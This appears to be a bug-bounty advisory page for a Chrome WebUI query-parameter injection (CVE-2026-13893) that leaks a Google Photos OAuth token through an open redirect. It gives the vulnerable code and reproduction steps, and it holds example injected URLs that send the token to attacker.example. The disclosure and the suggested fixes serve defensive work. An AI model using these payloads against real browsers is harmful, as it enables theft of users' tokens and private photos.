Insufficient validation of untrusted input in WebUI (CVE-2026-13893)
A query parameter injection in the searchbox icon URL construction allows an attacker-controlled enterprise search aggregator to inject the isGooglePhotos parameter into a chrome://image request. This causes the browser to mint a Google Photos OAuth token and leak it to an attacker-controlled origin via a cross-origin redirect.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 3 months
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team.
Overview: A query parameter injection vulnerability in searchbox_icon.ts allows an attacker-controlled enterprise search aggregator to inject parameters into a chrome://image request. By injecting &isGooglePhotos=true alongside a Google-hosted open redirect, the browser process mints a Google Photos OAuth token and leaks it to the attacker during the cross-origin redirect.
Affected files:
ui/webui/resources/cr_components/searchbox/searchbox_icon.tschrome/browser/ui/webui/sanitized_image/sanitized_image_source.cccomponents/omnibox/browser/enterprise_search_aggregator_provider.cc
Estimated timestamp from git blame: 2025-06-05
Summary
A potential vulnerability exists in the NTP Realbox and Omnibox UI (searchbox_icon.ts) where image URLs are not properly encoded before being interpolated into a chrome://image query string. This allows an attacker who can control search suggestions (e.g., via a malicious or compromised enterprise search aggregator) to inject the isGooglePhotos=true parameter.
When this request is handled by SanitizedImageSource in the browser process, it mints a photos.image.readonly OAuth token. If the injected URL points to an open redirect on a Google domain, the browser's SimpleURLLoader follows the redirect to an attacker-controlled origin without stripping the Authorization header, leaking the token.
Technical Details
1. Parameter Injection in WebUI
In ui/webui/resources/cr_components/searchbox/searchbox_icon.ts, the computeSrc_ function constructs the URL for the chrome://image data source using string interpolation:
private computeSrc_(url: string|undefined): string {
// ...
return `//image?staticEncode=true&encodeType=webp&url=${url}`;
}
The url variable is not encoded using encodeURIComponent. For enterprise search results, this value originates from the un-sanitized iconUri field of the search aggregator's JSON response (parsed in components/omnibox/browser/enterprise_search_aggregator_provider.cc). An attacker can supply a value like https://accounts.google.com/amp/rebrand?url=https://attacker.example/log&isGooglePhotos=true.
2. Token Attachment in the Browser Process
When the WebUI sets this string as an <img> src, it triggers a request to chrome://image. SanitizedImageSource::StartDataRequest handles this and uses url::ExtractQueryKeyValue to parse the parameters. Because the injected & was unencoded, it successfully parses url as the Google open redirect URL and isGooglePhotos as true.
The code validates the target URL using IsGooglePhotosUrl(image_url), which simply checks if the host ends with a Google domain (e.g., .google.com). Because the target is accounts.google.com, the check passes, and SanitizedImageSource uses signin::PrimaryAccountAccessTokenFetcher to mint a user-scoped OAuth token for https://www.googleapis.com/auth/photos.image.readonly.
3. Token Leakage via Cross-Origin Redirect
The request is executed using a fully privileged network::SimpleURLLoader in the browser process (GetURLLoaderFactoryForBrowserProcess()). The minted token is attached as an Authorization: Bearer header.
When the Google server responds with an HTTP 302 redirect to https://attacker.example/log, the network service processes the redirect. By default, the network service's RedirectUtil::UpdateHttpRequest does not strip the Authorization header across cross-origin redirects. Because the SimpleURLLoader instance was not explicitly configured with an OnRedirectCallback to remove this header, the token is sent to the attacker's origin.
Suggested Reproduction Steps
Note: Our tooling agent does not have the ability to run code; these are suggested steps based on codebase analysis.
- Configure a managed Chrome profile to use an attacker-controlled backend via the
EnterpriseSearchAggregatorSettingspolicy. - Ensure the user is signed into Chrome with their Google account.
- The attacker backend responds to a search query with a
CONTENTsuggestion whereiconUriis set to an open redirect with an injected parameter, e.g.:https://accounts.google.com/interactive_login?continue=https://attacker.example/log&isGooglePhotos=true. - The victim interacts with the NTP or Omnibox, triggering the suggestion.
- The WebUI constructs the injected URL, and the browser process mints the OAuth token.
- The browser initiates the fetch to the Google open redirect, which redirects to
attacker.example. - The attacker's server logs the
Authorization: Bearerheader containing the leaked token, granting read access to the victim's Google Photos.
Suggested Fix
- WebUI Encoding: In
ui/webui/resources/cr_components/searchbox/searchbox_icon.ts, useencodeURIComponent(url)inside the template literal incomputeSrc_to prevent parameter injection. - Defense-in-Depth (Loader): Consider configuring the
SimpleURLLoaderinSanitizedImageSource::StartImageDownloadto explicitly strip thenet::HttpRequestHeaders::kAuthorizationheader on cross-origin redirects by utilizing anOnRedirectCallback.
Evaluated with Chrome root at commit: 096fc8fdbfacf2546485756d03f160a3d04fcc9b
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The URL parameter was not encoded before being inserted into the chrome://image query string, allowing an attacker to inject additional parameters.
Impact
The attacker's server logs the Authorization header containing the leaked token, granting read access to the victim's Google Photos.
What the attacker needed
Managed Chrome profile with attacker policy; user signed into Chrome with Google account; victim interacts with NTP or Omnibox
The fix
The report suggests encoding the URL with encodeURIComponent and configuring the loader to strip the Authorization header on cross-origin redirects.
How it was found
- Configure a managed Chrome profile to use an attacker-controlled backend via the EnterpriseSearchAggregatorSettings policy.
- Ensure the user is signed into Chrome with their Google account.
- The attacker backend responds to a search query with a CONTENT suggestion where iconUri is set to an open redirect with an injected parameter.
- The victim interacts with the NTP or Omnibox, triggering the suggestion.
- The WebUI constructs the injected URL, and the browser process mints the OAuth token.
- The browser initiates the fetch to the Google open redirect, which redirects to attacker.example.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you type in Chrome's address bar, it shows search suggestions with small icons. The code that builds the image address didn't properly escape special characters, so a malicious search provider could sneak in an extra instruction. That instruction made Chrome create a special access token for Google Photos and then send it to the attacker's website, letting them read your photos.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.